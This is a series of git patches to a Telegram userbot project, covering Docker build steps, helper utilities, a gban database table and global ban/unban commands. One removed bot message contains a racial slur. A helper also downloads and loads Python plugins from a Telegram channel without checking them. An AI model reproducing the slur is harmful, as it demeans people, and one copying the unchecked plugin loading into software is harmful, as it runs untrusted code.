2021 15:25:16 +0530 Subject: [PATCH 740/838] A NEW ERA!! --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 89d8e0e2..b791a6f5 100644 --- a/Dockerfile +++ b/Dockerfile @@ -59,7 +59,7 @@ RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip -RUN git clone -b rename2 https://github.com/inukaasith/virtualuserbot /root/virtualuserbot +RUN git clone https://github.com/inukaasith/virtualuserbot /root/virtualuserbot RUN mkdir /root/virtualuserbot/bin/ RUN mkdir /root/virtualuserbot/bin/megadown WORKDIR /root/virtualuserbot/ From 1d1a35e4ab26a5d37908c3e15423a2763255efab Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 24 Jan 2021 13:38:15 +0530 Subject: [PATCH 741/838] Update alive.py --- virtualuserbot/modules/alive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/alive.py b/virtualuserbot/modules/alive.py index 60942f9a..7ad1d78c 100644 --- a/virtualuserbot/modules/alive.py +++ b/virtualuserbot/modules/alive.py @@ -53,7 +53,7 @@ def get_readable_time(seconds: int) -> str: pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" -pm_caption += "➣ **Check ** `.stat`. \n\n" +pm_caption += "➣ **Check ** `.stat`.\n" pm_caption += "➣ **Contact Dev** [Dev](https://t.me/InukaASiTH)\n" pm_caption += "➣ **Contact Mod** [Mod](https://t.me/Zzlll_lllzZ)\n" From 9aedac78d4d554f715c9b0c0743eb9fe9ced6cdb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:32:40 +0530 Subject: [PATCH 742/838] New _int --- virtualuserbot/function/__init__.py | 270 ++++++++++++++++------------ 1 file changed, 153 insertions(+), 117 deletions(-) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 295ddc53..0da482a1 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -1,30 +1,13 @@ -import asyncio -import json -import math -import os -import re -import shlex -import subprocess -import time -import webbrowser -from os.path import basename -from pathlib import Path -from typing import List, Optional, Tuple - -import hachoir import requests -import telethon from bs4 import BeautifulSoup -from bs4 import BeautifulSoup as bs from hachoir.metadata import extractMetadata from hachoir.parser import createParser -from pymediainfo import MediaInfo -from telethon import Button, custom, events, functions -from telethon.tl.types import ( - DocumentAttributeAudio, - InputMessagesFilterDocument, - MessageMediaPhoto, -) +import hachoir +import asyncio +import os +from pathlib import Path +from virtualuserbot.utils import load_module +from telethon.tl.types import DocumentAttributeAudio from youtube_dl import YoutubeDL from youtube_dl.utils import ( ContentTooShortError, @@ -36,23 +19,81 @@ UnavailableVideoError, XAttrMetadataError, ) - -from virtualuserbot.utils import load_module - -BASE_URL = "https://isubtitles.org" +import asyncio +import json +import math import os +import re +import shlex +import subprocess +import time +from os.path import basename +from typing import List, Optional, Tuple +import webbrowser +from bs4 import BeautifulSoup +import requests +from bs4 import BeautifulSoup as bs +import re +from telethon.tl.types import InputMessagesFilterDocument +import telethon +from telethon import Button, custom, events, functions +from pymediainfo import MediaInfo +from telethon.tl.types import MessageMediaPhoto +from typing import Union +SIZE_UNITS = ["B", "KB", "MB", "GB", "TB", "PB"] +BASE_URL = "https://isubtitles.org" +from virtualuserbot.Configs import Config import zipfile +import os +import aiohttp -from virtualuserbot.Configs import Config sedpath = Config.TMP_DOWNLOAD_DIRECTORY -from virtualuserbot import logging +from fridaybot import logging logger = logging.getLogger("[--WARNING--]") if not os.path.isdir(sedpath): os.makedirs(sedpath) - - + +# Deethon // @aykxt +session = aiohttp.ClientSession() + +async def fetch_json(link): + async with session.get(link) as resp: + return await resp.json() + + +def get_readable_file_size(size_in_bytes: Union[int, float]) -> str: + if size_in_bytes is None: + return "0B" + index = 0 + while size_in_bytes >= 1024: + size_in_bytes /= 1024 + index += 1 + try: + return f"{round(size_in_bytes, 2)}{SIZE_UNITS[index]}" + except IndexError: + return "File too large" + + +def get_readable_time(secs: float) -> str: + result = "" + (days, remainder) = divmod(secs, 86400) + days = int(days) + if days != 0: + result += f"{days}d" + (hours, remainder) = divmod(remainder, 3600) + hours = int(hours) + if hours != 0: + result += f"{hours}h" + (minutes, seconds) = divmod(remainder, 60) + minutes = int(minutes) + if minutes != 0: + result += f"{minutes}m" + seconds = int(seconds) + result += f"{seconds}s" + return result + # Thanks To Userge-X async def runcmd(cmd: str) -> Tuple[str, str, int, int]: """ run command in terminal """ @@ -69,6 +110,7 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) + async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -110,7 +152,6 @@ def humanbytes(size): raised_to_pow += 1 return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" - async def get_all_modules(event, borg, channel_id): await event.edit(f"Ìnstalling All Plugins from {channel_id}") try: @@ -121,9 +162,7 @@ async def get_all_modules(event, borg, channel_id): search=".py", ) except: - await event.edit( - "`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`" - ) + await event.edit("`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`") return yesm = 0 nom = 0 @@ -134,38 +173,30 @@ async def get_all_modules(event, borg, channel_id): await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") for sed in a_plugins: try: - downloaded_file_name = await borg.download_media( - sed, "virtualuserbot/modules/" - ) + downloaded_file_name = await borg.download_media(sed, "fridaybot/modules/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) - await event.edit( - "**Installed :** `{}`".format( - os.path.basename(downloaded_file_name) - ) - ) + await event.edit("**Installed :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) else: nom += 1 - await event.edit( - "**Failed to Install [PLugin Already Found] :** `{}`".format( - os.path.basename(downloaded_file_name) - ) - ) + await event.edit("**Failed to Install [PLugin Already Found] :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) os.remove(downloaded_file_name) except: - await event.edit( - "**Failed To Install :** `{}`".format( - os.path.basename(downloaded_file_name) - ) - ) - os.remove(downloaded_file_name) - nom += 1 + await event.edit("**Failed To Install :** `{}`".format(os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + nom += 1 + pass yesm = len_p - nom return yesm, nom, len_p - def time_formatter(milliseconds: int) -> str: """Inputs time in milliseconds, to get beautified time, as string""" @@ -174,11 +205,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -188,14 +219,14 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker - or lmao.media + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -277,7 +308,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -391,8 +422,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -414,51 +445,43 @@ async def get_subtitles(imdb_id, borg, event): # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): - await event.edit( - "`Searching, For Apk File. This May Take Time Depending On Your App Size`" - ) + await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') res = requests.get(f"https://m.apkpure.com/search?q={app_name}") - soup = BeautifulSoup(res.text, "html.parser") - result = soup.select(".dd") + soup = BeautifulSoup(res.text, 'html.parser') + result = soup.select('.dd') for link in result[:1]: - s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) - sfn = BeautifulSoup(s_for_name.text, "html.parser") - ttl = sfn.select_one("title").text - noneed = [" - APK Download"] + s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) + sfn = BeautifulSoup(s_for_name.text, 'html.parser') + ttl = sfn.select_one('title').text + noneed = [' - APK Download'] for i in noneed: - name = ttl.replace(i, "") - res2 = requests.get( - "https://m.apkpure.com" + link.get("href") + "/download?from=details" - ) - soup2 = BeautifulSoup(res2.text, "html.parser") - result = soup2.select(".ga") + name = ttl.replace(i, '') + res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") + soup2 = BeautifulSoup(res2.text, 'html.parser') + result = soup2.select('.ga') for link in result: - dl_link = link.get("href") + dl_link = link.get('href') r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: + with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: f.write(r.content) - await event.edit("`Apk, Downloaded. Let me Upload It here.`") - final_path = f"{path}/{name}@VirtualUserbot.apk" + await event.edit('`Apk, Downloaded. Let me Upload It here.`') + final_path = f'{path}/{name}@VirtualUserbot.apk' return final_path, name - async def check_if_subbed(channel_id, event, bot): try: - result = await bot( - functions.channels.GetParticipantRequest( - channel=channel_id, user_id=event.sender_id + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id + ) ) - ) - if result.participant: - return True + if result.participant: + return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False - - + async def _ytdl(url, is_it, event, tgbot): - await event.edit( - "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" - ) + await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") if is_it: opts = { "format": "bestaudio", @@ -515,18 +538,13 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp3", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, - t, - event, - c_time, - "**Uploading Audio To TG**", - f"{ytdl_data['title']}.mp3", + d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" ) ), ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp3") elif video: @@ -539,16 +557,34 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp4", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, - t, - event, - c_time, - "**Uploading Video To TG**", - f"{ytdl_data['title']}.mp4", + d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" ) ), ) await event.edit( - file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + file=hmmo, + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") + +async def get_all_admin_chats(event): + lul_stark = [] + all_chats = [ + d.entity + for d in await event.client.get_dialogs() + if (d.is_group or d.is_channel) + ] + for i in all_chats: + if i.creator or i.admin_rights: + lul_stark.append(i.id) + return lul_stark + + +async def is_admin(event, user): + sed = await event.client.get_permissions(event.chat_id, user) + if sed.is_admin: + is_mod = True + else: + is_mod = False + return is_mod + From a5767963440fc2ec7b76fc9479d854caf8c8fee6 Mon Sep 17 00:00:00 2001 From: inukaasith Date: Tue, 26 Jan 2021 18:03:12 +0000 Subject: [PATCH 743/838] SeD Replacer --- virtualuserbot/function/__init__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 0da482a1..755ad66c 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -49,7 +49,7 @@ sedpath = Config.TMP_DOWNLOAD_DIRECTORY -from fridaybot import logging +from virtualuserbot import logging logger = logging.getLogger("[--WARNING--]") if not os.path.isdir(sedpath): @@ -173,7 +173,7 @@ async def get_all_modules(event, borg, channel_id): await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") for sed in a_plugins: try: - downloaded_file_name = await borg.download_media(sed, "fridaybot/modules/") + downloaded_file_name = await borg.download_media(sed, "virtualuserbot/modules/") if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem From 7722f0a13e9ce93cfa2c20e475658910f3c656db Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:34:50 +0530 Subject: [PATCH 744/838] Update and rename gban_sql_helper.py to gban_sql.py --- virtualuserbot/modules/sql_helper/gban_sql.py | 58 +++++++++++++++++ .../modules/sql_helper/gban_sql_helper.py | 64 ------------------- 2 files changed, 58 insertions(+), 64 deletions(-) create mode 100644 virtualuserbot/modules/sql_helper/gban_sql.py delete mode 100644 virtualuserbot/modules/sql_helper/gban_sql_helper.py diff --git a/virtualuserbot/modules/sql_helper/gban_sql.py b/virtualuserbot/modules/sql_helper/gban_sql.py new file mode 100644 index 00000000..a24731b2 --- /dev/null +++ b/virtualuserbot/modules/sql_helper/gban_sql.py @@ -0,0 +1,58 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +from sqlalchemy import Column, String, UnicodeText +from fridaybot.modules.sql_helper import BASE, SESSION + + +class Gban(BASE): + __tablename__ = "gban" + user_id = Column(String(14), primary_key=True) + reason = Column(UnicodeText) + + def __init__(self, user_id, reason): + self.user_id = user_id + self.reason = reason + + +Gban.__table__.create(checkfirst=True) + + +def gban_user(user_id: int, reason): + gbanner = Gban(str(user_id), reason) + SESSION.add(gbanner) + SESSION.commit() + + +def gban_data(user_id: int): + try: + s__ = SESSION.query(Gban).get(str(user_id)) + return int(s__.user_id), s__.reason + finally: + SESSION.close() + +def is_gbanned(user_id: int): + try: + s__ = SESSION.query(Gban).get(str(user_id)) + if s__: + return s__.reason + finally: + SESSION.close() + +def ungban_user(user_id): + ungbanner = SESSION.query(Gban).get(str(user_id)) + if ungbanner: + SESSION.delete(ungbanner) + SESSION.commit() + diff --git a/virtualuserbot/modules/sql_helper/gban_sql_helper.py b/virtualuserbot/modules/sql_helper/gban_sql_helper.py deleted file mode 100644 index 210b3a89..00000000 --- a/virtualuserbot/modules/sql_helper/gban_sql_helper.py +++ /dev/null @@ -1,64 +0,0 @@ -""" -credits to @mrconfused and @sandy1709 -""" -# Copyright (C) 2020 sandeep.n(π.$) -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU Affero General Public License as -# published by the Free Software Foundation, either version 3 of the -# License, or (at your option) any later version. -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Affero General Public License for more details. -# You should have received a copy of the GNU Affero General Public License -# along with this program. If not, see . -from sqlalchemy import Column, String -from userbot.plugins.sql_helper import BASE, SESSION - - -class GBan(BASE): - __tablename__ = "gban" - chat_id = Column(String(14), primary_key=True) - reason = Column(String(127)) - - def __init__(self, chat_id, reason=""): - self.chat_id = chat_id - self.reason = reason - - -GBan.__table__.create(checkfirst=True) - - -def is_gbanned(chat_id): - try: - return SESSION.query(GBan).filter(GBan.chat_id == str(chat_id)).one() - except BaseException: - return None - finally: - SESSION.close() - - -def get_gbanuser(chat_id): - try: - return SESSION.query(GBan).get(str(chat_id)) - finally: - SESSION.close() - - -def catgban(chat_id, reason): - adder = GBan(str(chat_id), str(reason)) - SESSION.add(adder) - SESSION.commit() - - -def catungban(chat_id): - rem = SESSION.query(GBan).get(str(chat_id)) - if rem: - SESSION.delete(rem) - SESSION.commit() - - -def get_all_gbanned(): - rem = SESSION.query(GBan).all() - SESSION.close() - return rem From c6377f737b50ff2a3af0626320a2b1dcc5621bf2 Mon Sep 17 00:00:00 2001 From: inukaasith Date: Tue, 26 Jan 2021 18:05:10 +0000 Subject: [PATCH 745/838] SeD Replacer --- virtualuserbot/modules/sql_helper/gban_sql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/sql_helper/gban_sql.py b/virtualuserbot/modules/sql_helper/gban_sql.py index a24731b2..18927e9b 100644 --- a/virtualuserbot/modules/sql_helper/gban_sql.py +++ b/virtualuserbot/modules/sql_helper/gban_sql.py @@ -13,7 +13,7 @@ from sqlalchemy import Column, String, UnicodeText -from fridaybot.modules.sql_helper import BASE, SESSION +from virtualuserbot.modules.sql_helper import BASE, SESSION class Gban(BASE): From 64b80d766511e9f9af5ce1ce727976ae8e77847c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:39:26 +0530 Subject: [PATCH 746/838] Update gtools.py --- virtualuserbot/modules/gtools.py | 321 +++++++++++++++---------------- 1 file changed, 150 insertions(+), 171 deletions(-) diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index d0ca4b70..46c2e06d 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -1,18 +1,145 @@ +# Copyright (C) Midhun KM 2020-2021 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + import asyncio from telethon.events import ChatAction from telethon.tl.functions.contacts import BlockRequest, UnblockRequest from telethon.tl.types import MessageEntityMentionName - from virtualuserbot import CMD_HELP from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute from virtualuserbot.utils import friday_on_cmd +from virtualuserbot.function import get_all_admin_chats, is_admin +from virtualuserbot.modules.sql_helper import gban_sql +from telethon.events import ChatAction, NewMessage +from telethon.tl.types import ( + ChannelParticipantsAdmins, + ChatAdminRights, + ChatBannedRights, + MessageEntityMentionName, + MessageMediaPhoto, +) +from telethon.errors import ( + BadRequestError, + ChatAdminRequiredError, + ImageProcessFailedError, + PhotoCropSizeSmallError, + UserAdminInvalidError, +) +from telethon.errors.rpcerrorlist import MessageTooLongError, UserIdInvalidError +from telethon.tl.functions.channels import ( + EditAdminRequest, + EditBannedRequest, + EditPhotoRequest, +) -async def get_full_user(event): - args = event.pattern_match.group(1).split(":", 1) +@friday.on(friday_on_cmd(pattern='gban(?: |$)(.*)')) +async def gbun(event): + await event.edit("**GBanning User**") + sucess = 0 + bad = 0 + user, reason = await get_user_from_event(event) + if not user.id: + await event.edit("`Mention A User To Gban`") + return + if not reason: + hmm_r = "#GBanned" + elif reason: + hmm_r = reason + if user.id == bot.uid: + await event.edit("**I Can't Gban You Master :(**") + return + if gban_sql.is_gbanned(user.id): + await event.edit("**This User Is Already Gbanned. No Point In Gbanning Him Again !**") + return + gban_sql.gban_user(user.id, hmm_r) + chat_s = await get_all_admin_chats(event) + if len(chat_s) == 0: + await event.edit("**You Need To Be Admin In Atleast 1 Group To Perform this Action**") + return + len_s = len(chat_s) + await event.edit(f"**GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**") + for stark_s in chat_s: + try: + await event.client.edit_permissions(stark_s, user.id, view_messages=False) + sucess += 1 + except: + bad += 0 + await event.edit(f"**GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**") + + +@friday.on(friday_on_cmd(pattern='ungban(?: |$)(.*)')) +async def ungbun(event): + await event.edit("**Un-GBanning User**") + sucess = 0 + bad = 0 + user, reason = await get_user_from_event(event) + if not user.id: + await event.edit("`Mention A User To Un-Gban`") + return + if user.id == bot.uid: + await event.edit("**I Can't Un-Gban You Master :(**") + return + if not gban_sql.is_gbanned(user.id): + await event.edit("**This User Is Not Gbanned. No Point In Un-Gbanning !**") + return + gban_sql.ungban_user(user.id) + chat_s = await get_all_admin_chats(event) + if len(chat_s) == 0: + await event.edit("**You Need To Be Admin In Atleast 1 Group To Perform this Action**") + return + len_s = len(chat_s) + await event.edit(f"**Un-GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**") + for stark_s in chat_s: + try: + await event.client.edit_permissions(stark_s, user.id, view_messages=True) + sucess += 1 + except: + bad += 0 + await event.edit(f"**Un-GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**") + +@friday.on(ChatAction) +async def starky(event): + if event.user_joined: + hmm = await bot.get_me() + if await is_admin(event, hmm.id): + sadly = await event.get_user() + if gban_sql.is_gbanned(sadly.id): + try: + await event.client.edit_permissions(event.chat_id, sadly.id, view_messages=False) + await event.reply(f"**#GBanned-User** \nUserID : {sadly.id} \nReason : {gban_sql.is_gbanned(sadly.id)}") + except: + pass + +@friday.on(NewMessage) +async def mi(event): + sed = event.sender_id + hmm = await bot.get_me() + if event.is_private: + return + if await is_admin(event, hmm.id): + if gban_sql.is_gbanned(sed): + try: + await event.client.edit_permissions(event.chat_id, sed, view_messages=False) + except: + pass + +async def get_user_from_event(event): + """ Get the user from argument or replied message. """ + args = event.pattern_match.group(1).split(" ", 1) extra = None - if event.reply_to_msg_id and not len(args) == 2: + if event.reply_to_msg_id: previous_message = await event.get_reply_message() user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) @@ -20,198 +147,50 @@ async def get_full_user(event): user = args[0] if len(args) == 2: extra = args[1] + if user.isnumeric(): user = int(user) + if not user: - await event.edit("`User ID Is Required") + await event.edit("`Pass the user's username, id or reply!`") return + if event.message.entities is not None: probable_user_mention_entity = event.message.entities[0] + if isinstance(probable_user_mention_entity, MessageEntityMentionName): user_id = probable_user_mention_entity.user_id user_obj = await event.client.get_entity(user_id) return user_obj + try: user_obj = await event.client.get_entity(user) - except Exception as err: - return await event.edit("Something Went Wrong", str(err)) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + elif event.is_private: + hmm = await event.get_input_chat() + try: + user_obj = await event.client.get_entity(hmm) + except (TypeError, ValueError) as err: + await event.edit(str(err)) + return None + extra = event.pattern_match.group(1) return user_obj, extra async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) + try: user_obj = await event.client.get_entity(user) except (TypeError, ValueError) as err: await event.edit(str(err)) return None - return user_obj + return user_obj -@friday.on(friday_on_cmd(pattern="gban ?(.*)")) -async def gspider(virtualuserbot): - lol = virtualuserbot - sender = await lol.get_sender() - me = await lol.client.get_me() - if not sender.id == me.id: - friday = await lol.reply("Gbanning This User !") - else: - friday = await lol.edit("Wait Processing.....") - me = await virtualuserbot.client.get_me() - await friday.edit(f"Global Ban Is Coming ! Wait And Watch You Nigga") - my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) - f"@{me.username}" if me.username else my_mention - await virtualuserbot.get_chat() - a = b = 0 - if virtualuserbot.is_private: - user = virtualuserbot.chat - reason = virtualuserbot.pattern_match.group(1) - else: - virtualuserbot.chat.title - try: - user, reason = await get_full_user(virtualuserbot) - except: - pass - try: - if not reason: - reason = "Private" - except: - return await friday.edit(f"**Something W3NT Wrong 🤔**") - if user: - if user.id == 1263617196: - return await friday.edit( - f"**Didn't , Your Father Teach You ? That You Cant Gban Dev**" - ) - try: - from virtualuserbot.modules.sql_helper.gmute_sql import gmute - except: - pass - try: - await virtualuserbot.client(BlockRequest(user)) - except: - pass - testvirtualuserbot = [ - d.entity.id - for d in await virtualuserbot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - for i in testvirtualuserbot: - try: - await virtualuserbot.client.edit_permissions( - i, user, view_messages=False - ) - a += 1 - await friday.edit(f"**GBANNED // Total Affected Chats **: `{a}`") - except: - b += 1 - else: - await friday.edit(f"**Reply to a user !!**") - try: - if gmute(user.id) is False: - return await friday.edit(f"**Error! User probably already gbanned.**") - except: - pass - return await friday.edit( - f"**Gbanned [{user.first_name}](tg://user?id={user.id}) Affected Chats : {a} **" - ) - - -@friday.on(friday_on_cmd(pattern="ungban ?(.*)")) -async def gspider(virtualuserbot): - lol = virtualuserbot - sender = await lol.get_sender() - me = await lol.client.get_me() - if not sender.id == me.id: - friday = await lol.reply("`Wait Let Me Process`") - else: - friday = await lol.edit("One Min ! ") - me = await virtualuserbot.client.get_me() - await friday.edit(f"Trying To Ungban User !") - my_mention = "[{}](tg://user?id={})".format(me.first_name, me.id) - f"@{me.username}" if me.username else my_mention - await virtualuserbot.get_chat() - a = b = 0 - if virtualuserbot.is_private: - user = virtualuserbot.chat - reason = virtualuserbot.pattern_match.group(1) - else: - virtualuserbot.chat.title - try: - user, reason = await get_full_user(virtualuserbot) - except: - pass - try: - if not reason: - reason = "Private" - except: - return await friday.edit("Someting Went Wrong 🤔") - if user: - if user.id == 1263617196: - return await friday.edit("**You Cant Ungban A Dev !**") - try: - from virtualuserbot.modules.sql_helper.gmute_sql import ungmute - except: - pass - try: - await virtualuserbot.client(UnblockRequest(user)) - except: - pass - testvirtualuserbot = [ - d.entity.id - for d in await virtualuserbot.client.get_dialogs() - if (d.is_group or d.is_channel) - ] - for i in testvirtualuserbot: - try: - await virtualuserbot.client.edit_permissions( - i, user, send_messages=True - ) - a += 1 - await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") - except: - b += 1 - else: - await friday.edit("**Reply to a user !!**") - try: - if ungmute(user.id) is False: - return await friday.edit("**Error! User probably already ungbanned.**") - except: - pass - return await friday.edit( - f"**UNGBANNED // USER - [{user.first_name}](tg://user?id={user.id}) CHATS : {a} **" - ) - - -@friday.on(ChatAction) -async def handler(rkG): - if rkG.user_joined or rkG.user_added: - try: - from virtualuserbot.modules.sql_helper.gmute_sql import is_gmuted - - guser = await rkG.get_user() - gmuted = is_gmuted(guser.id) - except: - return - if gmuted: - for i in gmuted: - if i.sender == str(guser.id): - chat = await rkG.get_chat() - admin = chat.admin_rights - creator = chat.creator - if admin or creator: - try: - await client.edit_permissions( - rkG.chat_id, guser.id, view_messages=False - ) - await rkG.reply( - f"**Gbanned User Joined!!** \n" - f"**Victim Id**: [{guser.id}](tg://user?id={guser.id})\n" - f"**Action ** : `Banned`" - ) - except: - rkG.reply("`No Permission To Ban`") - return @friday.on(friday_on_cmd(pattern=r"gmute ?(\d+)?")) From 318b6080dd79308f16aa71badde6784afaf4b58a Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:10:13 +0000 Subject: [PATCH 747/838] pylint: auto fixes --- virtualuserbot/function/__init__.py | 223 ++++++++++-------- virtualuserbot/modules/gtools.py | 99 ++++---- virtualuserbot/modules/sql_helper/gban_sql.py | 6 +- 3 files changed, 180 insertions(+), 148 deletions(-) diff --git a/virtualuserbot/function/__init__.py b/virtualuserbot/function/__init__.py index 755ad66c..777db900 100644 --- a/virtualuserbot/function/__init__.py +++ b/virtualuserbot/function/__init__.py @@ -1,13 +1,30 @@ +import asyncio +import json +import math +import os +import re +import shlex +import subprocess +import time +import webbrowser +from os.path import basename +from pathlib import Path +from typing import List, Optional, Tuple, Union + +import hachoir import requests +import telethon from bs4 import BeautifulSoup +from bs4 import BeautifulSoup as bs from hachoir.metadata import extractMetadata from hachoir.parser import createParser -import hachoir -import asyncio -import os -from pathlib import Path -from virtualuserbot.utils import load_module -from telethon.tl.types import DocumentAttributeAudio +from pymediainfo import MediaInfo +from telethon import Button, custom, events, functions +from telethon.tl.types import ( + DocumentAttributeAudio, + InputMessagesFilterDocument, + MessageMediaPhoto, +) from youtube_dl import YoutubeDL from youtube_dl.utils import ( ContentTooShortError, @@ -19,34 +36,17 @@ UnavailableVideoError, XAttrMetadataError, ) -import asyncio -import json -import math -import os -import re -import shlex -import subprocess -import time -from os.path import basename -from typing import List, Optional, Tuple -import webbrowser -from bs4 import BeautifulSoup -import requests -from bs4 import BeautifulSoup as bs -import re -from 